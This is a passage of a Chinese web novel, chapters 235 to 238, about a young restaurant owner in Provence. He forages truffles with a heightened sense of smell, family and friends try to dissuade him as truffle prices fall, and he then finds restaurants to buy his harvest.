马赛一个没忍住,走到他的身边,嗅了嗅他的裤子,没想到这一个小小的举动又让罗南看到了一场精彩绝伦的杂技表演。 那怪人发现脚下有东西出现,像被雷劈了一样跳向半空,但他可能忘记自己是一个‘圆规’了,脚离地的同时还有一只‘手’与大地接触,于是在一秒钟内向地面连刺四下,像是个会用剑气升空的剑客。 随着一声惨烈的‘天呀’,他重重落地,终于发现了罗南这1人2狗。 “抱歉,你没有受伤吧?”罗南忍住为他的精彩动作鼓掌叫好的冲动,担心的问。 那人用拿着红色塑料袋的手用力拍了几下胸口: “吓死我了,我以为有什么东西在咬我。” 罗南半蹲下来,吃力的模仿了一下他用脚画圆的动作: “你在提防什么吗?” 那人马上踮起一只脚,‘金鸡独立’的同时用惊悚的眼神盯着地面看: “蛇啊,当然是蛇,被它们咬到我会没命的。” 罗南善意的说: “这附近应该没有蛇,至少靠近边缘这一片没有,再往深处走我就不知道了。” 这片密林在非打猎季时罗南就经常来,两只狗都是很优秀的猎犬,如果遇到过他一定知道。 那人被罗南的话弄尴尬了,不停的搓下巴。 可能是为了找回面子,把脸上的蜂帽撩起来,和罗南攀谈起来: “‘小心驶得万年船’,尤其像是我们这种优秀的松露猎人.连老天都会嫉妒我们的。” “松露猎人?”罗南收起笑容,严肃的看向这名同行。 那人干笑了两声,得意的挑了一下眉毛: “没错,我是一名职业松露猎人!” “真是太巧了,我也是。”罗南笑着说。 那人恍然大悟的看向罗南的两只狗: “你也在找松露?” 罗南摇头: “哦,不不不,我在遛狗。” 那人警惕的拉远了距离: “伙计,这片地方是我先来的。” 见到他如此明显的‘划地盘’行为,罗南哭笑不得的说: “伙计,这附近没有松露,别紧张好吗?” 这片林子他最近每天都会来,从没闻到过松露的气味。 怎料那人突然拉开了他的红色塑料袋给罗南展示: “那是因为你没有找到技巧,你看这些全部是我早上的收获,8块大松露!” 那人只给罗南展示了1秒左右。 不过罗南还是看清了里面的大部分,深蓝的、褐红的、鲜艳的、桔黄的各种蘑菇可谓五彩斑斓,唯独就是没有他熟悉的黑松露。 这位‘同行’把袋子合起来后,又放到罗南的鼻尖晃动了两下: “闻到了吗?松露的气味!” 谢谢他的慷慨行为,罗南通过气味终于确认了——里面的确没有松露。 “快离开这里吧,别忘记这一片都是我的。”那人挥舞着木杆警告,之后又伸出一只腿向前画圆了。 罗南离开密林回家的时候,一定会路过野餐的人。 只是匆匆一瞥,那些人都不肯放过他们1人2狗。 “我在戈尔德有一个非常要好的朋友,他有两只厉害的松露猎犬,靠着它们的鼻子,我朋友一个冬天可以收入30多万法郎,伙计那是30多万法郎啊.比巴黎的那些白领赚的还多!” 其他人跟着发出或羡慕或惊讶的感叹语,之后继续下一个故事的讲述了。 罗南无奈的摇头。 普罗旺斯真是遍地‘故事大王’啊,看到什么都能编出故事。 不过你们的视野还是太窄了。 一个冬天30万法郎.很多吗? 回到家,罗南没有跟父母一起去餐厅。 “你们先去吧,我找找衣服。” “找什么衣服?”冯珍问上楼的罗南。 罗南的声音从二楼传下来: “冬天进山的衣服,佐伊给我买的那些。” 第236章 充满陷阱的松露生意 罗南把每道菜的摆盘样式都教给了后厨的人,还教了普罗旺斯妇女使用中式菜刀切菜。 在推出新菜品前无需时刻盯在餐厅里。 可以说他顺利的完成了‘人力释放’,可以好好做幕后老板了。 罗天海和冯珍也把罗南定义成了‘脑力’人才,他没必要天天泡在后厨和餐厅,应该去干些更有意义的事。 不过他们对罗南继续进山采松露还是有些‘意见’的。 “天气越来越凉,最近还在刮风.进山多辛苦啊。”冯珍心疼的说,“儿子,你就不能干点其他的事情吗?” 罗南把装备一一放进随行背包里,头也不抬的说: “采松露赚的多,而且现在天气挺好的啊,不辛苦。” 罗天海双手抱胸,不是很赞同的说: “其实想要多赚点钱,你完全可以再策划几个餐厅活动,没必要干这种辛苦活,你之前采松露2个月赚了10万出头,平均下来每个月也就是5、6万法郎.也不多啊。” 罗天海知道采松露是赚钱的,可一想到他们在餐厅里暖暖和和的,儿子未来几个月要一个人在冰冷的户外摸爬滚打就控制不住的想要‘贬低’一下这个工作。 日子好不容易好起来,他不想看到儿子再吃苦了。 罗南穿上佐伊给他精心搭配的外套和靴子,背上书包: “5、6万一个月是因为那时还是‘新手’,现在我有经验了,应该能挖的更多。” 罗天海摸着小黑的脑袋说: “可你没有狗啊,靠自己一个人很难再有什么提升了吧?” 罗天海听特奥说,他哥哥卢卡斯最巅峰的时候一个月可以靠挖松露赚10万法郎,一整个冬天最差的时候也能赚30多万,但那是因为他有一只极品松露犬。 罗南没有狗,只靠自己,今年前2个月不仅翻修了厨房,还还了6万的房贷这应该是极限,无法超越了。 罗南笑着用手指指自己: “我就是‘狗’。” 罗南年初挖松露的‘秘密基地’在卢尔马兰北部六十多公里的一片山林中。 那个时候他不知道那里隶属于哪个村子,也不知道那片地区叫什么名字,路上甚至都没有路牌。 那里是罗南开车乱逛找到的地方。 松露的菌丝与几种树种的根形成共生菌根关系,要靠吸收这些植物的营养为生,因此在普罗旺斯有这些树的地方都有可能会出现松露。 这一年罗南对普罗旺斯的了解增多了不少,尤其是地理层面的。 原来他的‘秘密基地’已经离开了吕贝隆,并且差一点就离开了沃克吕兹省 这一片地区叫做弗拉西耶,方圆20多公里只有90多个居民,即使在地广人稀的沃克吕兹省也算是‘偏远’地区了。 所以罗南误打误撞的找到了一个非常不错的‘秘密花园’,偏远代表和他抢地盘的人不会太多,这一整片山林都是他的‘猎物’。 时隔半年再次把车停到熟悉的地方,罗南居然有一种‘久别重逢’的喜悦感.这里是他普罗旺斯幸福生活的开始,那两个多月他来了这里四五十次。 但这次他带足了装备,还有父母准备的爱心‘盒饭’,和一、二月份比条件不知好了多少。 这次罗南没有长途跋涉到密林区域才才开始工作,一进树林便开始留意脚下有没有哪里‘秃’了一块。 一二月份时,他的采松露步骤是这样的: 先找‘寸草不生’的地方,之后蹲下来用刷子‘地毯式搜索’扫过那一片区域看有没有苍蝇飞出,如果有就看准目标开挖,没有苍蝇就去找下一个区域.以此往复。 整个过程中,最费体力和时间的就是‘地毯式搜索’这一步,基本上用不了半个小时腰部和膝盖就会开始抗议了。 但三级【采集】带来的能力加强了罗南的嗅觉,在半米内他可以分辨出绝大部分植物的味道。 现在发现目标区域,只需要蹲下去闻一闻就行了。 而且他早在几个月前就做过实验——鼻子不仅可以知道土下面有没有松露,还可以根据气息变化锁定松露的大致位置,这样有没有苍蝇给坐标都无所谓了。 ‘地毯式搜索’至少需要1、2分钟,闻一下只需要1、2秒,效率提升了太多太多。 因此现在完全有时间扩大一下搜寻范围。 穿着轻便的衣服和靴子,罗南的行动也灵活了许多,在树林里行进的速度比在平地慢不了多少。 走了那么四五分钟,他发现右侧的一块石头和树木之间出现了一块目标区域。 它的四周都有绿植覆盖,只有那一块区域明显‘秃’了。 罗南蹲到那个区域,把鼻子凑下去猛吸一下。 虽然有无数种气味交缠到一起,但那道可以把万物气息压制下去的气味还是太突出了。 “是松露!” 罗南前前后后左左右右闻了一圈,很快锁定了目标,之后小心翼翼用手刨开泥土。 很快,一颗半个手掌大小的松露出现在他的手中。 虽然技术迭代后整套动作不太雅观,但罗南还是想要衷心的评价一句——效率提升太多了,从发现到出货就一两分钟的功夫。 这一天能挖多少啊?! 罗南开心的把今年松露采摘季的第一颗松露放入袋子里: “300克肯定有了,这就是——” 每次挖到松露,罗南都会习惯性的把它换算成法郎开心一下,不过今天他换算不出来了。 松露这东西每年的行情都不同,他还没有了解今年的价格。 “回去找个时间问问卢卡斯。”罗南开心的寻找起下一个目标。 听特奥说,卢卡斯已经带玛格丽特进山大半个月了。 10月份,罗南每天在餐厅里忙前跑后的,哪里都有他的身影。 今天大半天见不到他的人,无论是老顾客、农夫们还是艺术家都不习惯了。 “罗南出去办事了吗?”皮埃尔拿着酒杯来问收银台后的冯珍。 一般罗南要去办事都会和兄弟们说一声,有的时候还会带人一起去,但皮埃尔没听说今天谁跟着罗南一起走了。 一提到儿子冯珍又开始担心了,她叹了一口气: “没有,罗南进山去了。” “进山?”皮埃尔一愣,想到什么马上惊呼道,“他去采松露了?” 他的声音太大,餐厅里的几个农夫全听到了。 “什么!罗南进山采松露了?” “上帝啊,他还要去采松露吗?我以为他今年不会去了。” “他到底要干多少事啊?” 巴蒂也拿着酒杯过来问冯珍: “罗南还会挖松露?” 冯珍点头: “年初他去采过一阵子,挺有天赋的。” 巴蒂指了指这四周: “但他不管餐厅了吗?现在经营的这么好。” 巴蒂的话点燃了冯珍内心的不满情绪,她语气不算多好的说: “我和他爸爸都不想让罗南进山,但他还是执意要去,今天一大早就走了.哎,你说他跟你们一样干点安安静静的事情多好啊,非要往山里钻。” 今天她一天都提心吊胆的.山里多危险啊! 餐厅里的艺术气息越来越浓厚,除了喝酒聊天,还有人会搬着画板来。 其实冯珍从小就想培养罗南的艺术细胞,让他学过电子琴、也总带他去看音乐剧可他什么都没学成。 好不容易在儿媳妇的带领下和‘艺术’有了关系,他又‘半途而废’了。 冯珍上个月过手的钱有四五十万法郎,说句不好听的.那五六万法郎对她的诱惑真没有那么大了。 她更想让罗南干点别的,没那么辛苦的。 巴蒂的眉头也皱起来。 罗南在的时候,经常有女艺术家来和他搭话,巴蒂也能厚着脸皮认识些新朋友。 今天罗南不在餐厅,他一个上午只交到了一个新朋友。 不行,这绝对不行! 他语气严肃的对冯珍说: “看到罗南我要说说他了,编织是一种需要勤加练习的技艺,他都多久没练习了?” 冯珍眼前一亮: “对对对,得说说他,让他别去了!” “说什么?”特奥推门而入,好奇的问,“你们聊谁呢?对了,罗南在哪儿?我们的狗又找不到了,让他赶紧带着小黑跟我走,小黑除了他的话谁都不听。” 冯珍叹气,无奈的看向皮埃尔。 皮埃尔耸了下肩膀,遗憾的对特奥说: “恐怕罗南未来都没办法跟你们去打猎了。” 特奥马上提高了音量: “为什么?” 半个小时后。 普罗旺斯‘反罗南采松露联盟’在卢尔马兰商业街的一家中餐厅成立。 临时会长由艺术家代表巴蒂担任,副会长是农夫代表特奥。 巴蒂安慰罗南的母亲: “请您放心,在教育人方面我是专业的,今晚我一定会让您那误入歧途的儿子回到正轨,重新喜欢上文静的活动。” 特奥信誓旦旦的说: “我会把卢卡斯叫来给罗南上上课,今年松露行情很差,跟去年比降价了近25%,卢卡斯说,按照经验后几个月只会更低,罗南真的不如把这个时间和精力放到餐厅上。” 没有任何交集的两波人因为罗南聚集到了一起,共同谋划他们要从那些角度、用那些策略打消罗南进山的计划。 冯珍乐的合不拢嘴,这些人一定可以说服罗南! 不过她还是觉得不够保险,拿起电话播出了一个号码: “喂?佐伊,你晚上有事吗?” 晚上6点多。 罗南的餐厅里。 被特奥叫来的卢卡斯给大家介绍今年松露的‘跳水’行情。 不过围着他的除了农夫还有客人和艺术家们。 “今年的松露价格怎么会大跳水呢?我记得松露的价格每年都在涨啊。” 松露是法国人非常喜爱的食物,虽然降价对于大众来说是好事,但他们还是想听听这位卢尔马兰最佳松露猎人讲述前因后果。 卢卡斯是毫无疑问的松露专家,他以专业口吻分析: “法国的松露价格在二战后到1975年之间一直很稳定,1976年才迎来了第一次价格大涨,翻了1.5倍,那是由于罕见的大旱让野生松露产量锐减了30%;1980年日本市场需求萌芽,通胀推高成本,松露出现了第二次价格飞跃,第一次来到了1000法郎以上的价格。” “1980到1986,产量稳定,市场需求平缓,但松露的价格却每年以固定的价格上涨,短短6年从1000法郎涨到了2000法郎以上,这其中有太多‘泡沫’。”卢卡斯把嘴里的烟点燃,“但今年‘泡沫’破了,松露生意里的陷阱太多太多了.” 特奥经常听卢卡斯把‘松露生意里有太多陷阱’挂在嘴上,皱着眉头说: “卢卡斯,要不你也别干松露生意了,弄完那片实验林就去干点其他的吧,该死的,这也太搞人心态了!” 卢卡斯自嘲的摇了摇头,没有说什么。 弄完那片实验林就去干点其他的? 现在能不能撑到那片林子实验结束都是问题了! 今年的松露价格大跳水把他的全部计划打乱了,他的资金链马上就要断了。 硬着头皮撑下去还有成功的希望,最多就是明年或后年少赚一点。 但如果把实验停了,他就什么都没有了。 卢卡斯明明知道松露生意里充满了陷阱,也时刻挂在嘴上.但他还是跳了进来。 如果有如果,年初他绝不会一意孤行的去做松露人工培育实验。 可现在没有如果了,但罗南还有如果。 皮埃尔认真的对卢卡斯说: “那你一会好好劝劝罗南吧。” 卢卡斯郑重的点头: “我会好好跟他说的,干点别的吧,他还那么年轻,又有本事。” 晚上7点,罗南在夜幕中推开了餐厅的门: “饿死我了,晚上吃什么?” “你摔着了?”冯珍从收银台后出来,紧张的检查罗南的身体。 罗南低头看了看自己,马上笑了。 他现在比乞丐还要糟糕,身上全是泥土,尤其是腿和胳膊,都是爬着闻味弄的。 他尴尬的说: “没有,不小心蹭的。” “哪有蹭成这样的啊?”冯珍不等罗南站稳就把他拉出去,在街上拍他身上的土,嘴里也一刻没闲着,“那林子里是不是特别不好走啊?你像是在土里打过滚一样!” 哎呀,太危险了啊! “我明天小心点。”罗南配合的不停旋转身体。 “明天!还明天!!”冯珍生气的回到餐厅里。 罗南跟着母亲进去,想要好好和她解释,但餐厅里的情况着实吓了他一跳——一堆熟人表情复杂的堵在门口。 罗南从特奥和巴蒂的中间挤进去: “你们俩怎么凑到一起了?别挡路啊。” 特奥追着罗南说: “我们建议你别再进山了,阿姨担心,我们这帮朋友也跟着一起担心。” 罗南哭笑不得的说: “我是大人了,用不着担心我,我好的很。” 巴蒂在罗南耳边喋喋不休的说: “你最近太懈怠了啊,多少天没练习了?不想着深耕技艺,天天去干别的。” 罗南给自己倒了一杯酒,耸肩: “抱歉了‘老师’,编织只是我的爱好,采松露是我的工作,爱好在工作面前要让路的。” “但这工作今年不好做啊。”巴蒂指着在里面喝酒的卢卡斯说,“那位伙计说,今年的松露价格大跳水,比去年低了25%,而且未来几个月有可能越来越便宜。” 罗南皱着眉头来到卢卡斯旁边: “今年能卖多少?” 卢卡斯的脸色非常差: “1500法郎/公斤,这是我直接卖给尼斯、马赛餐厅的价格,你没有收购渠道会卖的更低。” “今年的行情怎么会这么差啊?”罗南一屁股坐下去,沮丧的问。 卢卡斯又把刚刚讲过的情况给罗南分析了一遍,说完之后他语重心长的说: “你和我不一样,我除了松露什么都不懂,但你会的手艺多,人也聪明,还有个这么好的餐厅,别再往那个糟心的行业里扎了。” 罗南露出了期许的表情: “后几个月呢?有可能会涨吗?” 对卢卡斯来说松露是降价了25%,但对于罗南来说有可能要减少三分之一的收入,这简直是惊天噩耗! 卢卡斯摇头: “我和许多同行聊过,结论差不多,未来几个月的价格只会低,不会高,最好的情况就是保持不变了。” “上帝啊”罗南痛苦的扶住额头。 卢卡斯叹了一口气,发自内心的给罗南建议: “今年行情不同了,好好经营餐厅吧这绝对比你去挖松露赚的多了。” 冯珍附在罗南耳边小声劝他: “儿子,现在价格这么一跳水,你每个月也就能卖两三万了,咱家真不缺你那两三万块钱啊!” 周围朋友们七嘴八舌的用各自的理由劝说罗南不要再一意孤行了。 罗南感觉一个头有两个大,被逼无奈的把藏在收银台里的松露袋子拿出来。 此刻围在周围的都是自己人,不是他的好兄弟就是他的好朋友,索性也不藏着掖着了。 罗南把袋子放下,无奈又心疼的说: “今年的价格确实对我影响很大,但架不住我挖的多啊,这个山还是得去。” 特奥眼疾手快的把袋子打开,随即周围爆发出一连串骂街、倒吸凉气和流口水的声音。 巴蒂几乎把一整个脑袋伸进袋子里: “你在逗我吧罗南?!” 卢卡斯把瘦弱的巴蒂提起来,不敢置信的问: “这一袋子都是你一天挖的??” 罗南耸肩: “找到了一个不错的秘密基地。” 巴蒂觉得自己一阵眩晕,像是低血糖犯了.扶着桌子说: “忘记编织吧罗南我不会再让你练习了。” 编一个灯的功夫换算成松露是多少钱啊? 特奥骂骂咧咧的点了一根烟: “我知道你很能赚钱,但根本想不到你那么能赚钱这餐厅的收入只够你的零花钱吧?” 现场的气氛一下子变了。 普罗旺斯‘反罗南采松露联盟’在成立的当天便解散了,大家围在罗南身边兴奋的听他讲述‘秘密花园’的故事。 看完热闹的歌迪亚回到自己的座位,对托马斯做了一个‘我要死了’的表情: “罗南有这么大的本事,为什么要开餐厅呢?” 托马斯微微一笑: “歌迪亚,还记得我们最开始认识罗南时,听到的关于他的传言吗?” 歌迪亚摇头: “罗南身上传言太多了,我不知道你说的是哪个。” 托马斯看向人群里的罗南: “传言说他是一个来自巴黎的富家少爷,想让父母的‘退休’生活过的多姿多彩一些,租了个店铺给父亲开餐厅‘打发时间’,我猜这个传言有一部分是真的.罗南没想过靠餐厅赚钱。” 歌迪亚羡慕的直翻白眼: “总之是个有钱人就是了!” 羡慕的又何止是一个歌迪亚呢? 没有一个人能在那袋松露面前保持镇静。 但他们的羡慕在佐伊到来后来到了顶峰。 “来找我的吗?”见佐伊来了,罗南抛下一众朋友,兴奋的迎上去。 现在佐伊每天都会打扮的很漂亮,今天是‘成熟’风,看的罗南一阵心中荡漾。 佐伊宠溺的把罗南脸上的泥土擦掉,笑着问: “怎么弄的这么脏啊?” 罗南低头看了看脏到不行的衣服,歉意的说: “对不起啊.把你给我配的衣服弄脏了。” 佐伊把罗南的脏外套脱了,随意的一扔: “没事,脏了我再给你买新的,今天我又卖出去了一个工艺品,卖了5万多呢。” “真的吗?!”罗南兴奋的大喊大叫,比自己赚了钱还开心。 餐厅里的男男女女全部破防了。 罗南不止自己能赚钱,还有个同样能赚钱的漂亮女朋友! 还让不让人活了啊,上帝!! 第237章 你们才是有钱人! 年初罗南挖到松露会留一点点,或者一点不留,全部卖掉。 但是现在有了餐厅就必须留下一部分自己用了。 为了迎合本地人的口味,餐厅也要推出一些应季的松露主题菜品,罗天海预计在一周内把菜单更新。 “每个月的松露消耗量大概有多少?”罗南问罗天海。 松露的保鲜期非常短,在未处理的自然状态下仅能保持7-15天,超过这个时间品质和香气会严重下降。 罗南想计算一下餐厅的需求量,其余的要尽快卖掉。 罗天海对松露也不陌生,在法国无论是做什么类型的餐厅都要和这种昂贵的食材打交道。 他一边自己计算,一边给罗南解释: “通常情况下,凉菜和汤品每份消耗1-2克,主菜大概是3-5克,甜品和饮品每份0.5-1克,中餐没有法餐那么高的松露菜品占比率,大概只占总菜品的10%-15%,再综合客流量和实际情况” 罗天海沉吟了一下: “每个月3-5公斤差不多。” 罗南点了点头。 年初在卢卡斯家的聚会上,他曾经问过在多家城市拥有餐厅的奥利维尔每个月松露消耗量有多少。 奥利维尔的回答是,几家餐厅加一起每个月会消耗20公斤上下从这个数据上看,罗天海的预估也是靠谱的。 罗南掂了掂松露袋子。 今天他一天采了3公斤的松露,也就是说,每个月挖两天就可以负担餐厅的消耗,其余的全部可以拿出去卖。 罗南计算过时间,每周五和周六他必须要去集市,《密法尔指南》和其他杂志上都记录过他的摊主身份,这是未来旅行季到来后他的身份牌,而且餐厅的固定‘广告位’也不能停下,偶尔还有些脱不开身的事要处理一整个月能进山的日子在20天上下。 以第一天的情况预估,每个月可以卖50-60公斤松露。 如果按照之前的行情,罗南算到这里已经要开始笑了,但现在价格一下子锐减了这么多有一种‘挖的多亏的多’的心疼感。 即使大大提升了效率,也没有那么开心了。 罗天海问罗南: “在锅包肉和盒饭的摊位中间挤一点区域出来卖松露?” 罗南年初就是在集市上卖的松露。 罗南抿着嘴想了一下: “可能得换个卖法了。” 卢卡斯挖松露的过程比罗南轻松一些。 每天跟在玛格丽特身后,看到它刨土,卢卡斯就蹲下挖。 但玛格丽特遗传了它‘叔叔’特奥的性格,是个‘懒女孩’,出门太久它会闹情绪。 所以卢卡斯每天出去的时间都很有限,早上7点多出门,下午5点前一定会回家。 玛格丽特也习惯了这个生物钟,早上不到7点不会下它的‘床’,下午5点一过就上‘床’。 可今晚6点多卢卡斯吃晚饭时,看到玛格丽特蹲到了门口,一直对着门张望。 “怎么了宝贝,还要吃东西吗?”虽然回家第一件事就是给玛格丽特喂饭,但卢卡斯还是把菜里的肉挑出来继续喂它。 玛格丽特对食物不为所动,开始在门口徘徊,看起来还有一些着急的样子。 卢卡斯马上紧张起来。 以前玛格丽特肚子不舒服时也是这个表现,它想要出去。 卢卡斯赶紧放下刀叉,披了件外套就带玛格丽特出门,却发现他的宝贝女儿没拉也没尿一出门就向房子的一侧跑。 卢卡斯远远的跟上去,在距离他家一百多米的地方发现了另一个带着狗的人。 玛格丽特一见到那条黑狗就小跑着扑上去,没有任何不舒服的样子。 “你好啊卢卡斯,也出来遛狗吗?”罗南人畜无害的问。 卢卡斯低头从口袋里拿出一包烟,用明显带笑的语气问: “你其实可以敲门的。” 罗南家和他家是村子的两个方向。 这是遛狗还是出来跑马拉松了? 罗南尴尬一笑: “在门口没看到你的车不确定你是不是在家。” 卢卡斯把烟点燃: “那为什么要带着狗呢?” 罗南笑的更尴尬了: “这是确认你在不在家的第二个办法” 两只狗在前面跑跑跳跳,罗南和卢卡斯在后面悠闲的跟着。 “今天没进山?”卢卡斯问。 罗南羡慕的看着前面的玛格丽特: “去了,但想找你聊聊所以早回来了一些。” 卢卡斯猛吸了几口烟: “什么事?” 罗南期待的问: “你认识的尼斯和马赛餐厅,可以把我的松露也一起收走吗?” 罗南现在每周的松露产量太大了,放在集市上卖不合适,而且听卢卡斯那天说的意思,他的渠道收购价更高,所以罗南想要来问问,能不能把他的货一起收了。 按照卢卡斯的性格,朋友说出口的事,他必须帮忙。 几个月前,知道罗南的父母要来普罗旺斯过复活节,罗南没开口他都把车给出去了。 但这件事儿.他现在确实帮不上了。 “以前我的松露会直接供应给奥利维尔,但你也知道.我们今年闹掰了,这几家餐厅收我自己的货都收不完,我也在找其他能收货的渠道。” 其实罗南想到会是这个结果了。 以前卢卡斯和奥利维尔‘亲密无间’,奥利维尔的几个餐厅就可以吃下卢卡斯每周的货了。 提到奥利维尔,罗南忍不住问: “你那片实验林现在什么情况了?” 卢卡斯背着手说; “宿主树已经栽种完成,第一批菌丝培育也移植过去了,根据明年春天检测的产菌率,可以预估出未来两到三年每公顷的产量。” 罗南侧头看他: “你一共弄了多少地?” 卢卡斯做人工松露培育生意1年了,罗南对此还一无所知。 卢卡斯面无表情的摇了摇头: “没多少,只做了一片实验林,7公顷做松露种植区,还有3公顷是生态缓冲带和科研设施。” 罗南表情复杂的问: “买地就花了很多钱吧?” 他听农夫们说过,在吕贝隆买农用地的价格是5-8万法郎/公顷,松露种植对土壤要求高,价格肯定会更高的。 卢卡斯默默吐出一口烟圈: “政府对特色农业提供 10%-20%的购置补贴,折合下来9万法郎/公顷吧。” 罗南不停的摇头: “还有每年的维护费用吧?” 跟卢卡斯比他算个屁的有钱人啊。 他光买地就花了90万法郎!! 卢卡斯叼着烟说: “人工成本、树苗接种、土壤处理、灌溉.七七八八每公顷5、6万。” 罗南直接不淡定了: “一年五六十万的运营费用?” 你一年都赚不了60万吧卢卡斯? 你怎么敢的啊! 卢卡斯生气的朝地上啐了一口: “谁能想到奥利维尔会临阵脱逃呢?这是按照我们两个人一起出资计算的。” 罗南想说,那你跟他一起逃啊但现在说这些已经没有用了。 他着实替卢卡斯感受到了经济压力。 怪不得要卖船卖车。 但即使都卖了也很难撑下去啊. 尤其今年的松露价格还跌了。 “你打算怎么——”罗南尽量让自己的语气平和,不伤害他的自尊心,“是不是得想想其他办法?” 卢卡斯笑着拍了拍罗南的肩膀: “放心,我有办法。” 说完,他蹲下对玛格丽特招手: “宝贝回来吧,我们该回去了。” 玛格丽特看了看小黑,又看了看卢卡斯,最终还是依依不舍的向‘爸爸’跑去。 “我找到好的渠道告诉你!”罗南对着卢卡斯的背影喊。 卢卡斯没有回头,背对罗南挥了下手: “谢了。” 卢卡斯这条路行不通,罗南要继续找其他可以收走松露的渠道。 他的第二个目标是雅克先生的米其林餐厅。 他们就是通过在梅纳村集市上买卖松露结识的。 聊生意通过电话不太正式,罗南在见完卢卡斯的第二天去了博尼约,和雅克当面聊这件事。 听完罗南的来意,雅克如实说道: “我当然需要松露,而且餐厅里的松露需求量非常大,一整个冬季平均下来每个月需要10-12公斤。” 雅克餐厅做的是传统法餐,而且是吕贝隆地区客单价数一数二贵的高级法餐,他的冬季菜单里有大量需要松露的菜品。 罗南刚要说感谢的话,雅克话锋一转: “但我只要出土48小时以内的新鲜松露,而且对直径有要求,要直径5cm以上的,如果你采到这种,每天有多少我要多少。” “新鲜度没有问题,我可以每天让人给你送,但是5cm以上的——”罗南纠结的说,“这么大的很少。” 以罗南第一天采来的那些为例,能达到直径5厘米以上的可能只有4、5颗。 雅克推了一下眼镜: “我知道这种很少,所以见到一定会买下来.做一家米其林餐厅必须要有‘过人之处’。” 看来我的餐厅距离米其林还有很远的距离啊.罗南腹诽了一句。 罗南短暂的考虑了一下: “我会每天把符合你要求的松露送来。” 吕贝隆地区能收精品松露的客户不多,雅克应该是最好的选择。 雅克开心的伸出右手: “你送来的精品松露我会用市场价的2.5倍收购,如果直径超过6.5厘米还会继续加价,不要问我加多少,你应该记得,对好的东西我从不吝啬价格,会一直加到你满意为止合作愉快罗南。” 罗南心中一喜。 我爱你们这些慷慨的有钱人! 品质好的松露找到了销售渠道,但那些品质一般的才是‘主力军’啊。 从博尼约回来,罗南马上给阿图尔打了电话约见面。 偷学了他那么多东西,这个家伙该教点学费了。 不过即使加上阿图尔和他的朋友们,也依然无法吃下罗南一个月全部的松露。 返回餐厅,路过商业街上的那家咖啡厅时,罗南突然停下了脚步。 “是不是该认识一下这位邻居呢?” 罗南摸着下巴想了一下,扭头进了托马斯的石器店。 第238章 糟糕天气 十一月的吕贝隆山谷里经常刮起西北风,气温也是忽高忽低的。 托马斯、歌迪亚和罗南不再频繁在露天聊天,如果有事就去对方的店里找人。 不过这个情况只会出现在托马斯和歌迪亚身上,他们隔三差五就会去餐厅找罗南,这还是罗南第一次主动找上门来。 “怎么了我的朋友?是不是下定决心要和我一起去教堂祷告了?” 罗南拯救了托马斯的事业,是托马斯的朋友也是‘恩人’。 托马斯对人好的方式就是劝说他最大化的进入主的怀抱。 每次见到罗南,他必须给罗南传教。 罗南歉意的说: “抱歉托马斯,我还是觉得在家里祷告更好一些,我习惯和父母一起做这件事。” 托马斯遗憾的耸了一下肩膀: “那好吧,那不如今晚和我一起去参加晚课?” 罗南对托马斯摆了下手,示意他稍微停一停: “我们应该找一个更正式的场合聊这个话题,我今天是想来问问你,认识对面咖啡厅的老板吗?” 那位老板比加布里埃尔还洒脱。 糖果大王每个月都会来店铺里看看.好吧,虽然大部分情况下都是顺便去看看。 但那个咖啡厅的老板拿过钥匙后真的完全消失了,一次都没有再出现过。 托马斯指着咖啡厅问: “你是说帕斯卡吗?” 罗南耸肩: “我不知道他的名字,就是拿钥匙那天跟你和歌迪亚站在一起,看起来很‘壮硕’的男人,手里拿着烟斗。” 罗南认为形容一个陌生人‘肥胖’是不礼貌的事情。 托马斯笑着说: “那就是帕斯卡,他现在更胖了。” 罗南意外的问: “你们最近见过?” 托马斯解释: “他住在戈尔德,9月关店那阵子我去过一次戈尔德替家里办事,和他见了一次面。” 托马斯和加布里埃尔来自阿普特,歌迪亚是艾克斯人,这样看下来,帕斯卡来自戈尔德也不意外了。 这四个来自外村的店主全部来自旅游业发达的地方。 戈尔德是和梅纳村、博尼约齐名的‘金三角’村落,而且一提到鸟巢村,许多普罗旺斯人第一个想到的就是戈尔德——那里是最著名也是最漂亮的鸟巢村。 罗南期待的问: “帕斯卡最近有来卢尔马兰看看的打算吗?” 在罗南餐厅的带动下,那家咖啡厅每天也有客人了。 每当罗南的餐厅排长队的日子,那里是第一个‘受益者’。 咖啡厅有餐食,也有甜品,那里也需要松露。 罗南现在的策略是只要能用上的人都会问问。 托马斯想都没想,坚定的摇头: “没有,事实上帕斯克和你一样,也不靠开餐厅赚钱,他在戈尔德有一大片橄榄园,那才是他的本职工作。” “也是农夫?”罗南无法把帕斯卡的体型和橄榄园联系到一起。 托马斯平摊双手: “我猜帕斯卡应该不是农夫了,他有一个很大很大的橄榄园,有许多员工的那种。” 罗南尴尬的笑了两声。 好吧,又是个有钱人。 “突然问他有什么事吗?”托马斯问。 罗南解释道: “我想把我的松露直接卖给餐厅,想问问帕斯卡有没有合作意愿不过看来这个机会很渺茫了。” 托马斯突然在胸前划了一个十字: “感谢主,今早我还在对主倾诉,你给了我这么大的帮助,我却无法回馈你什么,有一种深深的无力感,现在终于有可以帮助你的地方了我帮你联系帕斯卡,尽量促成你们的合作。” 罗南感激的说: “不用强求,只是问问就可以了。” 托马斯笑着说: “等我的消息吧。” 第二天晚上,罗南见到了来餐厅吃饭的阿图尔。 事实上,罗南的提议是去阿普特他的餐厅见面,毕竟这是求人的事,让人家跑来不合适。 但阿图尔以‘馋罗南餐厅的菜’为由拒绝了这个提议,坚持来卢尔马兰找他。 见阿图尔换了菜,罗南知道之前那几道菜终于学会了。 整场会面的气氛非常和谐和愉快,罗南回答了阿图尔的每一个问题,精心的打理这颗等待开花的‘果实’,而阿图尔也没有拒绝罗南的合作提议。 他当场答应可以从罗南手里收购松露,随后又号召了六七家餐厅将罗南定为松露供应商。 这些餐厅每个月可以消耗30公斤的松露,收购价是1500法郎/公斤,每周需供货两次。 与阿图尔合作后,罗南每个月的松露盈余只有20公斤左右了,虽然暂时没找到下家,但可以放到集市上慢慢卖,同时继续寻找新的收货渠道。 这个时候,罗南不禁想起了他从年初就给自己设定下的远大目标——像奥利维尔一样,拥有可以吃下一整个人工松露培育林的上游渠道。 如果他现在有这些渠道,还用得着四处辛辛苦苦的找门路吗? 本来觉得自己已经在某些层面是‘大人物’的罗南,马上脚踏实地了: “你还差得远着呢,继续努力吧。” 松露渠道的事暂时解决了,罗南也可以放下心来好好去挖松露了。 不过天气却和他开起了玩笑。 才刚刚11月上旬,西北风就连续刮了一周,听村民们说,这是到了12月份才能看到的鬼天气。 